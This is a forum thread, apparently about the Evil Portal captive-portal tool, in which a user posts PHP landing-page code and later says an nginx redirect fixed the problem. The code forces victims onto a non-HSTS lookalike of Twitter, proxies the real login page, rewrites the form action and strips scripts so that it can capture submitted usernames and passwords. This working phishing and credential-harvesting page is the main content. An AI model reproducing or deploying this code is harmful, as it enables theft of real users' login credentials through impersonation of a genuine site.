[Landing Page / Evil Portal - Capture data]

Nevermind, fixed it by adding a redirect to index.php before letting the 404 error redirect in /etc/nginx/nginx.conf, I should've thought of that before making this thread!

[Landing Page / Evil Portal - Capture data]

Hey guys, I've ran into a bit of trouble, could some kind soul help me out please?
I'm unable to access POST and GET variables from within the landing page's php if there is a path specified in the URL that isn't "index.php"

Example landing page code below, var_dump($_POST) on line 12 returns an empty array despite the form sending the data:

<?php 
if(!strstr($_SERVER['HTTP_HOST'],"twitter") && !strstr($_SERVER['HTTP_HOST'],"twimg") )
{
	/* If not visiting twitter, redirect to non-HSTS twitter domain */
	die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); 
} else { 

	/* form posts to http://twitter.co.uk/sessions  */
	if(strstr($_SERVER['REQUEST_URI'], "/sessions")) 
	{   
                /* var_dump($_POST) returns an empty array, should print login data */
		var_dump($_POST); die(); 
	}
	
	/* Curl the site */
	$curl = curl_init();
	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($curl, CURLOPT_URL, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 

	$result = curl_exec($curl);
	$result = str_replace('https://twitter.com', 'http://twitter.co.uk', $result);  /* changes the form action */
	$result = str_replace('<script', "<div style='display:none'><!--", $result);  
	$result = str_replace('</script', "--></div", $result);  			

	echo $result;
}
?>

if I make the form post to http://twitter.co.ukdirectly, without the /session - they are accessible from the landing page, but I would really like to be able to access them even with other filepaths.
